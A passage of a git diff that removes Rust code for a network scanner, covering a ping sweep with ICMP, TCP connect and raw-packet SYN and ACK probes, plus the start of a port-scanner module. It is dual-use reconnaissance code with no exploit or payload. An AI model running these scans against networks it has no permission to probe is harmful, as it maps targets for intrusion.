probe(&self, ip: &IpAddr, timeout: Duration) -> Result> { - match self { - PingMethod::Icmp => icmp_probe(ip, timeout).await, - PingMethod::Tcp { ports } => tcp_probe(ip, ports, timeout).await, - PingMethod::Syn { ports } => syn_probe(ip, ports, timeout).await, - PingMethod::Ack { ports } => ack_probe(ip, ports, timeout).await, - } - } -} - -/// Main entry point triggered via the dispatcher -pub async fn run(initial_target: &str) -> Result<()> { - let config = gather_configuration(initial_target).await?; - execute_ping_sweep(&config).await -} - -fn parse_target(input: &str) -> Result { - if let Ok(net) = input.parse::() { - return Ok(net); - } - - if let Ok(ip) = input.parse::() { - let prefix = match ip { - IpAddr::V4(_) => 32, - IpAddr::V6(_) => 128, - }; - let cidr = format!("{}/{}", ip, prefix); - let net = cidr - .parse::() - .context("failed to convert host to /32 or /128 network")?; - return Ok(net); - } - - Err(anyhow!("Invalid target '{}'. Use IP or IP/CIDR.", input)) -} - -async fn gather_configuration(initial: &str) -> Result { - println!("{}", "=== Ping Sweep Configuration ===".bold()); - - let mut nets: Vec = Vec::new(); - - let initial_trimmed = initial.trim(); - if !initial_trimmed.is_empty() { - match parse_target(initial_trimmed) { - Ok(net) => { - println!( - "{}", - format!("[*] Loaded initial target {}", net).green() - ); - nets.push(net); - } - Err(e) => { - eprintln!( - "{}", - format!(" Initial target '{}' skipped: {}", initial_trimmed, e) - .yellow() - ); - } - } - } - - if prompt_yes_no("Add additional targets manually?", false)? { - loop { - let entry = prompt_line( - "Enter target (IP or CIDR, leave blank to stop): ", - true, - )?; - if entry.is_empty() { - break; - } - match parse_target(&entry) { - Ok(net) => { - println!("{}", format!(" + {}", net).cyan()); - nets.push(net); - } - Err(e) => { - eprintln!("{}", format!(" ! {}", e).red()); - } - } - } - } - - if prompt_yes_no("Load targets from file?", false)? { - let path = prompt_line("Path to file: ", false)?; - let file_targets = load_targets_from_file(&path)?; - if file_targets.is_empty() { - println!("{}", " No targets parsed from file.".yellow()); - } else { - println!( - "{}", - format!( - " Loaded {} targets from '{}'", - file_targets.len(), - path - ) - .green() - ); - nets.extend(file_targets); - } - } - - if nets.is_empty() { - return Err(anyhow!( - "No valid targets supplied. Provide at least one IP or subnet." - )); - } - - // Deduplicate targets - let mut unique: HashSet = HashSet::new(); - for net in nets { - unique.insert(net); - } - let targets: Vec = unique.into_iter().collect(); - - let timeout_secs = - prompt_u64("Probe timeout (seconds)", 3, Some(1), Some(60))?; - let concurrency = - prompt_usize("Max concurrent hosts", 100, Some(1), Some(10_000))?; - let verbose = prompt_yes_no("Verbose output (show down hosts/errors)?", false)?; - - // Ask about saving results - let save_up_hosts = if prompt_yes_no("Save up hosts to file?", false)? { - let default_file = "ping_sweep_up_hosts.txt"; - let file_path = prompt_with_default("Output file for up hosts", default_file)?; - Some(file_path) - } else { - None - }; - - let save_down_hosts = if prompt_yes_no("Save down hosts to file?", false)? { - let default_file = "ping_sweep_down_hosts.txt"; - let file_path = prompt_with_default("Output file for down hosts", default_file)?; - Some(file_path) - } else { - None - }; - - let methods = loop { - let mut methods = Vec::new(); - - if prompt_yes_no("Use ICMP ping (system ping/ping6)?", true)? { - methods.push(PingMethod::Icmp); - } - - if prompt_yes_no("Use TCP connect probes?", false)? { - let default_ports = "80,443"; - let port_input = - prompt_with_default("TCP ports (comma separated)", default_ports)?; - let ports = parse_ports(&port_input)?; - if ports.is_empty() { - println!("{}", " No valid ports provided.".yellow()); - } else { - methods.push(PingMethod::Tcp { ports }); - } - } - - if prompt_yes_no("Use SYN scan (stealth scan, requires root)?", false)? { - let default_ports = "80,443"; - let port_input = - prompt_with_default("TCP ports for SYN scan (comma separated)", default_ports)?; - let ports = parse_ports(&port_input)?; - if ports.is_empty() { - println!("{}", " No valid ports provided.".yellow()); - } else { - methods.push(PingMethod::Syn { ports }); - } - } - - if prompt_yes_no("Use ACK scan (filter detection, requires root)?", false)? { - let default_ports = "80,443"; - let port_input = - prompt_with_default("TCP ports for ACK scan (comma separated)", default_ports)?; - let ports = parse_ports(&port_input)?; - if ports.is_empty() { - println!("{}", " No valid ports provided.".yellow()); - } else { - methods.push(PingMethod::Ack { ports }); - } - } - - if methods.is_empty() { - println!("{}", "Select at least one method.".red().bold()); - continue; - } - break methods; - }; - - println!( - "{}", - format!( - "\n[*] Targets: {} | Methods: {} | Concurrency: {} | Timeout: {}s", - targets.len(), - methods_summary(&methods), - concurrency, - timeout_secs - ) - .bold() - ); - - Ok(PingConfig { - targets, - methods, - concurrency, - timeout_secs, - verbose, - save_up_hosts, - save_down_hosts, - }) -} - -fn load_targets_from_file(path: &str) -> Result> { - let file = File::open(path) - .with_context(|| format!("Failed to open target file '{}'", path))?; - let reader = BufReader::new(file); - let mut nets = Vec::new(); - - for (idx, line) in reader.lines().enumerate() { - let line = line?; - let mut content = line.split('#').next().unwrap_or("").trim().to_string(); - if content.is_empty() { - continue; - } - content = content.replace(',', " "); - for token in content.split_whitespace() { - match parse_target(token) { - Ok(net) => nets.push(net), - Err(e) => { - eprintln!( - "{}", - format!(" [file:{}] skipped '{}': {}", idx + 1, token, e) - .yellow() - ); - } - } - } - } - - Ok(nets) -} - -fn methods_summary(methods: &[PingMethod]) -> String { - methods - .iter() - .map(PingMethod::describe) - .collect::>() - .join(", ") -} - -async fn execute_ping_sweep(config: &PingConfig) -> Result<()> { - let mut host_set: HashSet = HashSet::new(); - for net in &config.targets { - for host in net.hosts() { - host_set.insert(host); - } - } - - if host_set.is_empty() { - println!("{}", "No host addresses derived from supplied targets.".yellow()); - return Ok(()); - } - - let mut hosts: Vec = host_set.into_iter().collect(); - hosts.sort(); - - let total_hosts = hosts.len(); - println!( - "{}", - format!( - "\n[*] Beginning sweep of {} hosts using {} method(s)...", - total_hosts, - config.methods.len() - ) - .bold() - ); - - let semaphore = Arc::new(Semaphore::new(config.concurrency)); - let methods = Arc::new(config.methods.clone()); - let timeout = Duration::from_secs(config.timeout_secs.max(1)); - let verbose = config.verbose; - let success_counter = Arc::new(AtomicUsize::new(0)); - - let processed_counter = Arc::new(AtomicUsize::new(0)); - let start_time = std::time::Instant::now(); - - // Collections for saving results - let up_hosts_list = Arc::new(Mutex::new(Vec::::new())); - let down_hosts_list = Arc::new(Mutex::new(Vec::::new())); - - let mut tasks = Vec::new(); - - for ip in hosts { - let sem = semaphore.clone(); - let methods_clone = methods.clone(); - let success_clone = success_counter.clone(); - let processed_clone = processed_counter.clone(); - let up_list = up_hosts_list.clone(); - let down_list = down_hosts_list.clone(); - tasks.push(tokio::spawn(async move { - let permit = match sem.acquire_owned().await { - Ok(p) => p, - Err(_) => return, - }; - let ip_string = ip.to_string(); - let mut successes = Vec::new(); - - for method in methods_clone.iter() { - match method.probe(&ip, timeout).await { - Ok(mut labels) => successes.append(&mut labels), - Err(err) => { - if verbose { - eprintln!( - "{}", - format!( - "[!] {} ({}) error: {}", - ip_string, - method.label(), - err - ) - .yellow() - ); - } - } - } - } - - drop(permit); - - let processed = processed_clone.fetch_add(1, Ordering::Relaxed) + 1; - - // Progress indicator every 100 hosts or at completion - if processed % 100 == 0 || processed == total_hosts { - let elapsed = start_time.elapsed().as_secs(); - let rate = if elapsed > 0 { (processed as u64) / elapsed } else { 0 }; - print!( - "\r{}", - format!( - "[*] Progress: {}/{} hosts ({:.1}%) | Up: {} | Rate: {}/s", - processed, - total_hosts, - (processed as f64 / total_hosts as f64) * 100.0, - success_clone.load(Ordering::Relaxed), - rate - ) - .dimmed() - ); - let _ = std::io::Write::flush(&mut std::io::stdout()); - } - - if !successes.is_empty() { - success_clone.fetch_add(1, Ordering::Relaxed); - println!( - "\r{}", - format!( - "[+] Host {} is up ({})", - ip_string, - successes.join(", ") - ) - .green() - ); - // Add to up hosts list - if let Ok(mut list) = up_list.lock() { - list.push(ip_string.clone()); - } - } else { - // Add to down hosts list - if let Ok(mut list) = down_list.lock() { - list.push(ip_string.clone()); - } - if verbose { - println!("\r{}", format!("[-] Host {} is down", ip_string).dimmed()); - } - } - })); - } - - for task in tasks { - let _ = task.await; - } - - // Clear progress line - print!("\r{}\r", " ".repeat(80)); - let _ = std::io::Write::flush(&mut std::io::stdout()); - - let up_hosts = success_counter.load(Ordering::Relaxed); - println!( - "{}", - format!( - "\n[*] Sweep complete: {}/{} hosts responded.", - up_hosts, total_hosts - ) - .bold() - ); - - // Save results to files if requested - if let Some(ref up_file) = config.save_up_hosts { - let up_list = up_hosts_list.lock().unwrap_or_else(|e| e.into_inner()); - if !up_list.is_empty() { - match save_hosts_to_file(&up_list, up_file) { - Ok(_) => { - println!("{}", format!("[+] Saved {} up hosts to '{}'", up_list.len(), up_file).green()); - } - Err(e) => { - eprintln!("{}", format!("[!] Failed to save up hosts to '{}': {}", up_file, e).red()); - } - } - } else { - println!("{}", format!("[*] No up hosts to save to '{}'", up_file).yellow()); - } - } - - if let Some(ref down_file) = config.save_down_hosts { - let down_list = down_hosts_list.lock().unwrap_or_else(|e| e.into_inner()); - if !down_list.is_empty() { - match save_hosts_to_file(&down_list, down_file) { - Ok(_) => { - println!("{}", format!("[+] Saved {} down hosts to '{}'", down_list.len(), down_file).green()); - } - Err(e) => { - eprintln!("{}", format!("[!] Failed to save down hosts to '{}': {}", down_file, e).red()); - } - } - } else { - println!("{}", format!("[*] No down hosts to save to '{}'", down_file).yellow()); - } - } - - Ok(()) -} - -fn save_hosts_to_file(hosts: &[String], file_path: &str) -> Result<()> { - let mut file = File::create(file_path) - .with_context(|| format!("Failed to create file '{}'", file_path))?; - - for host in hosts { - writeln!(file, "{}", host) - .with_context(|| format!("Failed to write to file '{}'", file_path))?; - } - - file.flush() - .with_context(|| format!("Failed to flush file '{}'", file_path))?; - - Ok(()) -} - -async fn icmp_probe(ip: &IpAddr, timeout: Duration) -> Result> { - // Try to detect the OS and use appropriate ping command - let wait_secs = timeout.as_secs().max(1).to_string(); - let ip_str = ip.to_string(); - - let (cmd, args_vec) = if ip.is_ipv4() { - // Try ping first, fallback to ping6 for IPv4 if ping doesn't exist - if which::which("ping").is_ok() { - ("ping", vec!["-c", "1", "-W", &wait_secs, &ip_str]) - } else if which::which("ping6").is_ok() { - ("ping6", vec!["-c", "1", "-W", &wait_secs, &ip_str]) - } else { - return Err(anyhow!("Neither 'ping' nor 'ping6' command found. Install ping utility.")); - } - } else { - // IPv6 - if which::which("ping6").is_ok() { - ("ping6", vec!["-c", "1", "-W", &wait_secs, &ip_str]) - } else if which::which("ping").is_ok() { - // Some systems use ping -6 for IPv6 - ("ping", vec!["-6", "-c", "1", "-W", &wait_secs, &ip_str]) - } else { - return Err(anyhow!("Neither 'ping' nor 'ping6' command found. Install ping utility.")); - } - }; - - let result = tokio::time::timeout( - timeout, - Command::new(cmd) - .args(args_vec) - .output(), - ) - .await; - - match result { - Ok(Ok(output)) => { - if output.status.success() { - Ok(vec!["ICMP".to_string()]) - } else { - Ok(Vec::new()) - } - } - Ok(Err(err)) => Err(anyhow!("Ping command failed: {}", err)), - Err(_) => Ok(Vec::new()), - } -} - -async fn tcp_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result> { - // Probe ports in parallel for better performance - let mut tasks = Vec::new(); - - for port in ports { - let ip = *ip; - let port = *port; - let timeout = timeout; - - tasks.push(tokio::spawn(async move { - let socket = SocketAddr::new(ip, port); - match tokio::time::timeout(timeout, TcpStream::connect(socket)).await { - Ok(Ok(_stream)) => { - // Connection successful - drop stream immediately - Some(format!("TCP/{}", port)) - } - Ok(Err(_)) => None, - Err(_) => None, - } - })); - } - - let mut successes = Vec::new(); - for task in tasks { - if let Ok(Some(label)) = task.await { - successes.push(label); - } - } - - Ok(successes) -} - -async fn syn_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result> { - // SYN scan only works with IPv4 - let ipv4 = match ip { - IpAddr::V4(addr) => *addr, - IpAddr::V6(_) => { - return Err(anyhow!("SYN scan only supports IPv4 addresses")); - } - }; - - let mut successes = Vec::new(); - - for port in ports { - match syn_probe_single(&ipv4, *port, timeout).await { - Ok(true) => successes.push(format!("SYN/{}", port)), - Ok(false) => {} - Err(e) => { - // Silently continue on errors (permission denied, etc.) - if e.to_string().contains("Permission denied") { - return Err(anyhow!("SYN scan requires root privileges. Run with sudo or use TCP connect scan instead.")); - } - } - } - } - - Ok(successes) -} - -async fn syn_probe_single(ip: &Ipv4Addr, port: u16, timeout: Duration) -> Result { - use std::net::Ipv4Addr as StdIpv4Addr; - use std::net::IpAddr as StdIpAddr; - - // Create raw socket for sending - let sender = Socket::new( - Domain::IPV4, - Type::RAW, - Some(Protocol::from(libc::IPPROTO_RAW)), - ) - .context("Failed to create raw socket for SYN scan")?; - - sender - .set_header_included_v4(true) - .context("Failed to set IP_HDRINCL")?; - - // Create raw socket for receiving TCP responses - let receiver = Socket::new( - Domain::IPV4, - Type::RAW, - Some(Protocol::TCP), - ) - .context("Failed to create receiver socket for SYN scan")?; - - receiver - .set_read_timeout(Some(timeout)) - .context("Failed to set read timeout")?; - - // Get source IP (use a dummy IP if we can't determine it) - let src_ip = get_local_ipv4().unwrap_or_else(|| Ipv4Addr::new(127, 0, 0, 1)); - - // Craft SYN packet - generate all random values before any await - let (src_port, seq_num, ip_id) = { - let mut rng = rand::rng(); - ( - rng.random_range(49152..=65535), - rng.random::(), - rng.random::(), - ) - }; - - let tcp_header_len = 20; - let mut tcp_buf = vec![0u8; tcp_header_len]; - let mut tcp_pkt = MutableTcpPacket::new(&mut tcp_buf).ok_or_else(|| anyhow!("Failed to create TCP packet"))?; - tcp_pkt.set_source(src_port); - tcp_pkt.set_destination(port); - tcp_pkt.set_sequence(seq_num); - tcp_pkt.set_acknowledgement(0); - tcp_pkt.set_data_offset(5); - tcp_pkt.set_flags(TcpFlags::SYN); - tcp_pkt.set_window(65535); - tcp_pkt.set_urgent_ptr(0); - - let tcp_immutable = tcp_pkt.to_immutable(); - tcp_pkt.set_checksum(tcp::ipv4_checksum(&tcp_immutable, &src_ip, ip)); - - // Craft IP packet - const IPV4_HEADER_LEN: usize = 20; - let total_len = (IPV4_HEADER_LEN + tcp_header_len) as u16; - let mut ip_buf = vec![0u8; total_len as usize]; - let mut ip_pkt = MutableIpv4Packet::new(&mut ip_buf).ok_or_else(|| anyhow!("Failed to create IP packet"))?; - ip_pkt.set_version(4); - ip_pkt.set_header_length(5); - ip_pkt.set_total_length(total_len); - ip_pkt.set_identification(ip_id); - ip_pkt.set_ttl(64); - ip_pkt.set_next_level_protocol(IpNextHeaderProtocols::Tcp); - ip_pkt.set_source(src_ip); - ip_pkt.set_destination(*ip); - ip_pkt.set_flags(ipv4::Ipv4Flags::DontFragment); - ip_pkt.set_payload(tcp_pkt.packet()); - ip_pkt.set_checksum(ipv4::checksum(&ip_pkt.to_immutable())); - - // Send packet (blocking operation) - let dst_addr = SocketAddr::new(StdIpAddr::V4(StdIpv4Addr::from(*ip)), 0); - sender - .send_to(ip_pkt.packet(), &dst_addr.into()) - .context("Failed to send SYN packet")?; - - // Listen for response using spawn_blocking for async compatibility - let receiver_arc = Arc::new(receiver); - let start = std::time::Instant::now(); - - while start.elapsed() < timeout { - let sock_clone = receiver_arc.try_clone().map_err(|e| anyhow!("Failed to clone socket: {}", e))?; - let ip_clone = *ip; - let port_clone = port; - let src_ip_clone = src_ip; - let src_port_clone = src_port; - - let recv_result = task::spawn_blocking(move || -> Result, SocketAddr)>, std::io::Error> { - let mut buf = [MaybeUninit::::uninit(); 1500]; - match sock_clone.recv_from(&mut buf) { - Ok((len, addr)) => { - // Safe conversion: we know len is valid and within buf bounds - if len > buf.len() { - return Err(std::io::Error::new(std::io::ErrorKind::InvalidData, "Invalid buffer length")); - } - let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) }; - let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?; - Ok(Some((slice.to_vec(), sock_addr))) - } - Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock || e.kind() == std::io::ErrorKind::TimedOut => Ok(None), - Err(e) => Err(e), - } - }) - .await - .context("Blocking task for recv_from failed")?; - - match recv_result { - Ok(Some((data, _))) => { - if data.len() < IPV4_HEADER_LEN { - tokio::time::sleep(Duration::from_millis(10)).await; - continue; - } - - // Parse IP header - if let Some(ip_recv) = ipv4::Ipv4Packet::new(&data) { - if ip_recv.get_source() == ip_clone && ip_recv.get_destination() == src_ip_clone { - // Parse TCP header - let tcp_offset = (ip_recv.get_header_length() as usize) * 4; - if data.len() >= tcp_offset + 20 { - if let Some(tcp_recv) = tcp::TcpPacket::new(&data[tcp_offset..]) { - if tcp_recv.get_source() == port_clone && tcp_recv.get_destination() == src_port_clone { - let flags = tcp_recv.get_flags(); - // SYN-ACK means port is open - if flags & (TcpFlags::SYN | TcpFlags::ACK) == (TcpFlags::SYN | TcpFlags::ACK) { - return Ok(true); - } - // RST means port is closed but host is up - if flags & TcpFlags::RST == TcpFlags::RST { - return Ok(true); // Host is up - } - } - } - } - } - } - } - Ok(None) => { - // Timeout or would block - continue waiting - tokio::time::sleep(Duration::from_millis(10)).await; - } - Err(_) => { - tokio::time::sleep(Duration::from_millis(10)).await; - } - } - } - - Ok(false) -} - -async fn ack_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result> { - // ACK scan only works with IPv4 - let ipv4 = match ip { - IpAddr::V4(addr) => *addr, - IpAddr::V6(_) => { - return Err(anyhow!("ACK scan only supports IPv4 addresses")); - } - }; - - let mut successes = Vec::new(); - - for port in ports { - match ack_probe_single(&ipv4, *port, timeout).await { - Ok(true) => successes.push(format!("ACK/{}", port)), - Ok(false) => {} - Err(e) => { - // Silently continue on errors (permission denied, etc.) - if e.to_string().contains("Permission denied") { - return Err(anyhow!("ACK scan requires root privileges. Run with sudo or use TCP connect scan instead.")); - } - } - } - } - - Ok(successes) -} - -async fn ack_probe_single(ip: &Ipv4Addr, port: u16, timeout: Duration) -> Result { - use std::net::Ipv4Addr as StdIpv4Addr; - use std::net::IpAddr as StdIpAddr; - - // Create raw socket for sending - let sender = Socket::new( - Domain::IPV4, - Type::RAW, - Some(Protocol::from(libc::IPPROTO_RAW)), - ) - .context("Failed to create raw socket for ACK scan")?; - - sender - .set_header_included_v4(true) - .context("Failed to set IP_HDRINCL")?; - - // Create raw socket for receiving TCP responses - let receiver = Socket::new( - Domain::IPV4, - Type::RAW, - Some(Protocol::TCP), - ) - .context("Failed to create receiver socket for ACK scan")?; - - receiver - .set_read_timeout(Some(timeout)) - .context("Failed to set read timeout")?; - - // Get source IP - let src_ip = get_local_ipv4().unwrap_or_else(|| Ipv4Addr::new(127, 0, 0, 1)); - - // Craft ACK packet - generate all random values before any await - let (src_port, seq_num, ip_id) = { - let mut rng = rand::rng(); - ( - rng.random_range(49152..=65535), - rng.random::(), - rng.random::(), - ) - }; - - let tcp_header_len = 20; - let mut tcp_buf = vec![0u8; tcp_header_len]; - let mut tcp_pkt = MutableTcpPacket::new(&mut tcp_buf).ok_or_else(|| anyhow!("Failed to create TCP packet"))?; - tcp_pkt.set_source(src_port); - tcp_pkt.set_destination(port); - tcp_pkt.set_sequence(seq_num); - tcp_pkt.set_acknowledgement(0); - tcp_pkt.set_data_offset(5); - tcp_pkt.set_flags(TcpFlags::ACK); - tcp_pkt.set_window(65535); - tcp_pkt.set_urgent_ptr(0); - - let tcp_immutable = tcp_pkt.to_immutable(); - tcp_pkt.set_checksum(tcp::ipv4_checksum(&tcp_immutable, &src_ip, ip)); - - // Craft IP packet - const IPV4_HEADER_LEN: usize = 20; - let total_len = (IPV4_HEADER_LEN + tcp_header_len) as u16; - let mut ip_buf = vec![0u8; total_len as usize]; - let mut ip_pkt = MutableIpv4Packet::new(&mut ip_buf).ok_or_else(|| anyhow!("Failed to create IP packet"))?; - ip_pkt.set_version(4); - ip_pkt.set_header_length(5); - ip_pkt.set_total_length(total_len); - ip_pkt.set_identification(ip_id); - ip_pkt.set_ttl(64); - ip_pkt.set_next_level_protocol(IpNextHeaderProtocols::Tcp); - ip_pkt.set_source(src_ip); - ip_pkt.set_destination(*ip); - ip_pkt.set_flags(ipv4::Ipv4Flags::DontFragment); - ip_pkt.set_payload(tcp_pkt.packet()); - ip_pkt.set_checksum(ipv4::checksum(&ip_pkt.to_immutable())); - - // Send packet (blocking operation) - let dst_addr = SocketAddr::new(StdIpAddr::V4(StdIpv4Addr::from(*ip)), 0); - sender - .send_to(ip_pkt.packet(), &dst_addr.into()) - .context("Failed to send ACK packet")?; - - // Listen for response using spawn_blocking for async compatibility - let receiver_arc = Arc::new(receiver); - let start = std::time::Instant::now(); - - while start.elapsed() < timeout { - let sock_clone = receiver_arc.try_clone().map_err(|e| anyhow!("Failed to clone socket: {}", e))?; - let ip_clone = *ip; - let port_clone = port; - let src_ip_clone = src_ip; - let src_port_clone = src_port; - - let recv_result = task::spawn_blocking(move || -> Result, SocketAddr)>, std::io::Error> { - let mut buf = [MaybeUninit::::uninit(); 1500]; - match sock_clone.recv_from(&mut buf) { - Ok((len, addr)) => { - // Safe conversion: we know len is valid and within buf bounds - if len > buf.len() { - return Err(std::io::Error::new(std::io::ErrorKind::InvalidData, "Invalid buffer length")); - } - let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) }; - let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?; - Ok(Some((slice.to_vec(), sock_addr))) - } - Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock || e.kind() == std::io::ErrorKind::TimedOut => Ok(None), - Err(e) => Err(e), - } - }) - .await - .context("Blocking task for recv_from failed")?; - - match recv_result { - Ok(Some((data, _))) => { - if data.len() < IPV4_HEADER_LEN { - tokio::time::sleep(Duration::from_millis(10)).await; - continue; - } - - // Parse IP header - if let Some(ip_recv) = ipv4::Ipv4Packet::new(&data) { - if ip_recv.get_source() == ip_clone && ip_recv.get_destination() == src_ip_clone { - // Parse TCP header - let tcp_offset = (ip_recv.get_header_length() as usize) * 4; - if data.len() >= tcp_offset + 20 { - if let Some(tcp_recv) = tcp::TcpPacket::new(&data[tcp_offset..]) { - if tcp_recv.get_source() == port_clone && tcp_recv.get_destination() == src_port_clone { - let flags = tcp_recv.get_flags(); - // RST means port is unfiltered (host is up) - if flags & TcpFlags::RST == TcpFlags::RST { - return Ok(true); - } - } - } - } - } - } - } - Ok(None) => { - // Timeout or would block - continue waiting - tokio::time::sleep(Duration::from_millis(10)).await; - } - Err(_) => { - tokio::time::sleep(Duration::from_millis(10)).await; - } - } - } - - Ok(false) -} - -fn get_local_ipv4() -> Option { - // Robust implementation using pnet::datalink - // logic: find first non-loopback, up, IPv4 interface - use pnet::datalink; - - for iface in datalink::interfaces() { - // Skip loopback and down interfaces - if iface.is_loopback() || !iface.is_up() { - continue; - } - - for ip in iface.ips { - if let IpAddr::V4(ipv4) = ip.ip() { - // Return the first valid non-loopback IPv4 - return Some(ipv4); - } - } - } - - // Fallback to UDP connection trick if pnet fails - use std::net::UdpSocket; - if let Ok(socket) = UdpSocket::bind("0.0.0.0:0") { - if socket.connect("8.8.8.8:80").is_ok() { - if let Ok(local_addr) = socket.local_addr() { - if let IpAddr::V4(ipv4) = local_addr.ip() { - return Some(ipv4); - } - } - } - } - - None -} - -fn prompt_line(message: &str, allow_empty: bool) -> Result { - print!("{}", message.cyan().bold()); - std::io::stdout() - .flush() - .context("Failed to flush stdout")?; - let mut input = String::new(); - std::io::stdin() - .read_line(&mut input) - .context("Failed to read input")?; - let trimmed = input.trim().to_string(); - if !allow_empty && trimmed.is_empty() { - return Err(anyhow!("Input cannot be empty.")); - } - Ok(trimmed) -} - -fn prompt_with_default(message: &str, default: &str) -> Result { - print!( - "{}", - format!("{} [{}]: ", message, default).cyan().bold() - ); - std::io::stdout() - .flush() - .context("Failed to flush stdout")?; - let mut input = String::new(); - std::io::stdin() - .read_line(&mut input) - .context("Failed to read input")?; - let trimmed = input.trim(); - if trimmed.is_empty() { - Ok(default.to_string()) - } else { - Ok(trimmed.to_string()) - } -} - -fn prompt_yes_no(message: &str, default_yes: bool) -> Result { - let default_hint = if default_yes { "Y/n" } else { "y/N" }; - loop { - print!( - "{}", - format!("{} [{}]: ", message, default_hint).cyan().bold() - ); - std::io::stdout() - .flush() - .context("Failed to flush stdout")?; - let mut input = String::new(); - std::io::stdin() - .read_line(&mut input) - .context("Failed to read input")?; - let trimmed = input.trim().to_lowercase(); - match trimmed.as_str() { - "" => return Ok(default_yes), - "y" | "yes" => return Ok(true), - "n" | "no" => return Ok(false), - _ => println!("{}", "Please answer with 'y' or 'n'.".yellow()), - } - } -} - -fn prompt_usize( - message: &str, - default: usize, - min: Option, - max: Option, -) -> Result { - loop { - let response = prompt_with_default(message, &default.to_string())?; - match response.parse::() { - Ok(value) => { - if let Some(minimum) = min { - if value < minimum { - println!( - "{}", - format!("Value must be >= {}", minimum).yellow() - ); - continue; - } - } - if let Some(maximum) = max { - if value > maximum { - println!( - "{}", - format!("Value must be <= {}", maximum).yellow() - ); - continue; - } - } - return Ok(value); - } - Err(_) => println!("{}", "Enter a valid positive integer.".yellow()), - } - } -} - -fn prompt_u64( - message: &str, - default: u64, - min: Option, - max: Option, -) -> Result { - loop { - let response = prompt_with_default(message, &default.to_string())?; - match response.parse::() { - Ok(value) => { - if let Some(minimum) = min { - if value < minimum { - println!( - "{}", - format!("Value must be >= {}", minimum).yellow() - ); - continue; - } - } - if let Some(maximum) = max { - if value > maximum { - println!( - "{}", - format!("Value must be <= {}", maximum).yellow() - ); - continue; - } - } - return Ok(value); - } - Err(_) => println!("{}", "Enter a valid positive integer.".yellow()), - } - } -} - -fn parse_ports(input: &str) -> Result> { - let mut ports = Vec::new(); - for token in input.replace(',', " ").split_whitespace() { - match token.parse::() { - Ok(port) => ports.push(port), - Err(_) => { - println!( - "{}", - format!(" Skipping invalid port '{}'", token).yellow() - ); - } - } - } - ports.sort_unstable(); - ports.dedup(); - Ok(ports) -} diff --git a/src/modules/scanners/port_scanner.rs b/src/modules/scanners/port_scanner.rs deleted file mode 100644 index c05881f..0000000 --- a/src/modules/scanners/port_scanner.rs +++ /dev/null @@ -1,756 +0,0 @@ -use anyhow::{Result, anyhow, Context}; -use colored::*; -use std::{ - fs::File, - io::{Write, BufWriter}, - net::{SocketAddr, ToSocketAddrs}, - sync::{Arc, Mutex}, - time::Instant, -}; -use tokio::{ - io::{AsyncReadExt, AsyncWriteExt}, - net::{TcpStream, UdpSocket}, - sync::Semaphore, - time::{timeout, Duration}, -}; -use rand::{Rng, rng}; -use socket2::{Socket, Domain, Type, Protocol}; - -#[derive(Debug, Clone, Copy, PartialEq)] -pub enum ScanMethod { - TcpConnect, - Udp, - Both, -} - -#[derive(Debug, Clone)] -pub struct ScanSettings { - pub concurrency: usize, - pub timeout_secs: u64, - pub show_only_open: bool, - pub verbose: bool, - pub scan_method: ScanMethod, - pub output_file: String, - pub port_range: PortRange, - pub ttl: Option, - pub data_length: Option, - pub source_port: Option, -} - -#[derive(Debug, Clone)] -pub enum PortRange { - All, - Custom { start: u16, end: u16 }, - Common, - Top1000, -} - -impl PortRange { - fn get_ports(&self) -> Vec { - match self { - PortRange::All => (1..=65535).collect(), - PortRange::Custom { start, end } => (*start..=*end).collect(), - PortRange::Common => COMMON_PORTS.to_vec(), - PortRange::Top1000 => (1..=1000).collect(), - } - } -} - -// Common ports list -const COMMON_PORTS: &[u16] = &[ - 21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 443, 445, 993, 995, 1723, 3306, 3389, 5900, 8080, -]; - -// Service detection map -fn get_service_name(port: u16) -> &'static str { - match port { - 21 => "FTP", - 22 => "SSH", - 23 => "Telnet", - 25 => "SMTP", - 53 => "DNS", - 80 => "HTTP", - 110 => "POP3", - 111 => "RPC", - 135 => "MSRPC", - 139 => "NetBIOS", - 143 => "IMAP", - 443 => "HTTPS", - 445 => "SMB", - 993 => "IMAPS", - 995 => "POP3S", - 1723 => "PPTP", - 3306 => "MySQL", - 3389 => "RDP", - 5900 => "VNC", - 8080 => "HTTP-Proxy", - _ => "", - } -} - -/// Interactive config prompt -pub fn prompt_settings() -> Result { - println!("{}", "\n=== Port Scanner Configuration ===".cyan().bold()); - - // Port range selection - println!("\n{}", "Port Range Options:".yellow()); - println!(" 1. All ports (1-65535)"); - println!(" 2. Common ports (21, 22, 23, 25, 53, 80, 443, etc.)"); - println!(" 3. Top 1000 ports"); - println!(" 4. Custom range"); - - let range_choice = prompt_usize("Select option (1-4) [1]: ")?; - let port_range = match range_choice { - 1 | 0 => PortRange::All, - 2 => PortRange::Common, - 3 => PortRange::Top1000, - 4 => { - let start_val: usize = prompt_usize("Start port: ")?; - let end_val: usize = prompt_usize("End port: ")?; - - if start_val > 65535 || start_val == 0 { - return Err(anyhow!("Start port must be between 1 and 65535")); - } - if end_val > 65535 || end_val == 0 { - return Err(anyhow!("End port must be between 1 and 65535")); - } - - let start: u16 = start_val.try_into().map_err(|_| anyhow!("Invalid start port"))?; - let end: u16 = end_val.try_into().map_err(|_| anyhow!("Invalid end port"))?; - - if start > end { - return Err(anyhow!("Start port must be <= end port")); - } - PortRange::Custom { start, end } - } - _ => PortRange::All, - }; - - let ports = port_range.get_ports(); - println!("{}", format!("[*] Selected {} ports to scan", ports.len()).green()); - - // Scan Method Selection - println!("\n{}", "Scan Method:".yellow()); - println!(" 1. TCP Connect Scan (Default)"); - println!(" 2. UDP Scan"); - println!(" 3. Both TCP & UDP"); - let method_choice = prompt_usize("Select method (1-3) [1]: ").unwrap_or(1); - let scan_method = match method_choice { - 2 => ScanMethod::Udp, - 3 => ScanMethod::Both, - _ => ScanMethod::TcpConnect, - }; - - // Advanced Options - let ttl = if prompt_bool("Enable custom TTL? (y/n) 